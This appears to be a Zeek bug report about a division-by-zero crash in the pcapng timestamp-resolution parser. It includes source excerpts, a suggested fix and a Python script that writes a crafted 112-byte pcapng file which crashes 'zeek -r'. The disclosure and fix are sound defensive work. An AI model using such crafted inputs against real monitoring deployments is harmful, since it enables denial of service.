#5884·zeek

Division by zero from `if_tsresol` option in pcapng IDB — SIGFPE crash on zeek -r

Author: timwojCreated Sep 10, 2026Updated Sep 10, 2026

This was found by the Canadian Communications Security Establishment during their security scans of the Zeek code base, but we determined it wasn't actually a security issue since it only occurs when reading pcaps locally, and can be fixed in the public.


Summary

The pcapng Interface Description Block parser computes an interface's timestamp resolution from the attacker-controlled if_tsresol option byte using 2 << (b & 0x7F) (power-of-two branch) or pow(10, b & 0x7F) (decimal branch) without bounding the exponent. A byte such as 0x9F yields 2 << 31 == 0 (well-defined modulo 2^32 under C++20), so ts_resolution is stored as 0. The first Enhanced Packet Block referencing that interface then executes the integer division ts / ts_res with ts_res == 0, raising SIGFPE and terminating Zeek. A 112-byte crafted pcapng file crashes zeek -r deterministically.

Technical details

Exponent computationsrc/iosource/pcapng/Source.cc:176-182 (ParseInterfaceBlock):

cpp
light_option opt = light_find_option(block, LIGHT_OPTION_IF_TSRESOL);
if ( opt && opt->length > 0 ) {
    if ( (opt->data[0] & 0x80) == 0x80 )
        intf.ts_resolution = 2 << (opt->data[0] & 0x7F);       // 0x9F -> 2 << 31 == 0
    else
        intf.ts_resolution = static_cast<uint32_t>(pow(10, (opt->data[0] & 0x7f)));
}

Sinksrc/iosource/pcapng/Source.cc:201-205 (ParseEnhancedPacketBlock):

cpp
uint32_t ts_res = 1e6;
if ( pb.interface < interfaces.size() )
    ts_res = interfaces[pb.interface].ts_resolution;           // == 0
pb.ts_tval.tv_sec = ts / ts_res;                               // integer div by zero -> SIGFPE
pb.ts_tval.tv_usec = ((ts % ts_res) * 1e6) / ts_res;

Path:

  1. opt->data[0] is a raw byte copied verbatim from the file's IDB options by LightPcapNg's option parser; the only check is opt && opt->length > 0 — no range check on the value.
  2. With opt->data[0] = 0x9F, the 0x80 branch computes 2 << 31. Under C++20 (Zeek's target standard) the shift is well-defined modulo 2^32 and deterministically 0; the value 0 is stored into interfaces[]. (The decimal branch reaches 0 too for exponents ≥ 10 via out-of-range double → uint32_t conversion.)
  3. When the next EPB with interface_id = 0 arrives, ts_res is loaded as 0 and the division at :204 executes. The interface-index/caplen checks in the caller ExtractNextPacket() run only after ParseEnhancedPacketBlock() returns, so nothing guards the divisor.

Side note: the power-of-two branch is also off-by-one (2 << n instead of 1 << n), so even legal if_tsresol values are mis-scaled — a correctness issue distinct from the crash.

Reproduction

Self-contained generator (112-byte pcapng: SHB + IDB carrying if_tsresol = 0x9F + one EPB):

python
#!/usr/bin/env python3
import struct

def block(btype, body):
    total = 12 + len(body)
    return struct.pack("<II", btype, total) + body + struct.pack("<I", total)

out = b""
# Section Header Block
out += block(0x0A0D0D0A, struct.pack("<IHHq", 0x1A2B3C4D, 1, 0, -1))
# Interface Description Block: linktype 101 (RAW/IP), snaplen 0 (=no limit)
idb_body = struct.pack("<HHI", 101, 0, 0)
idb_body += struct.pack("<HH", 9, 1) + b"\x9f\x00\x00\x00"  # if_tsresol=0x9F, padded
idb_body += struct.pack("<HH", 0, 0)                        # opt_endofopt
out += block(0x00000001, idb_body)
# Enhanced Packet Block: iface 0, nonzero timestamp, 20-byte raw IPv4 header
ip = bytes.fromhex("45000014000100004011000a0a0000010a000002")
out += block(0x00000006, struct.pack("<IIIII", 0, 1, 0, len(ip), len(ip)) + ip)

with open("poc.pcapng", "wb") as f:
    f.write(out)
print("wrote poc.pcapng", len(out), "bytes")

Run:

zeek -r poc.pcapng -C

Observed results (validated 2026-08-04 at commit 62443ad95d)

ASan+UBSan build (--build-type=Debug --sanitizers=address,undefined), exit code 99:

src/iosource/pcapng/Source.cc:204:28: runtime error: division by zero
  #0 zeek::iosource::pcapng::Source::ParseEnhancedPacketBlock(light_block_t*)  Source.cc:204:28
  #1 zeek::iosource::pcapng::Source::ExtractNextPacket(zeek::Packet*)          Source.cc:114:33
  #2 zeek::iosource::PktSrc::ExtractNextPacketInternal()                       PktSrc.cc:134:10
  #3 zeek::iosource::PktSrc::Process()                                         PktSrc.cc:113:12
  #4 zeek::run_state::detail::run_loop()                                       RunState.cc:292:28
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior .../pcapng/Source.cc:204:28

Release build (RelWithDebInfo, no sanitizers): SIGFPE, exit 136, core dumped:

Floating point exception  (core dumped)  zeek -r poc.pcapng -C

Suggested fix

Bound the exponent and never store a zero resolution:

cpp
uint8_t b = opt->data[0];
uint8_t e = b & 0x7F;
if ( b & 0x80 )
    intf.ts_resolution = (e < 32) ? (1u << e) : 1000000u;   // also fixes the 2<<n off-by-one
else
    intf.ts_resolution = (e <= 9) ? static_cast<uint32_t>(pow(10, e)) : 1000000u;
if ( intf.ts_resolution == 0 )
    intf.ts_resolution = 1000000u;

Defense in depth: in ParseEnhancedPacketBlock() add if ( ts_res == 0 ) ts_res = 1000000; before the division.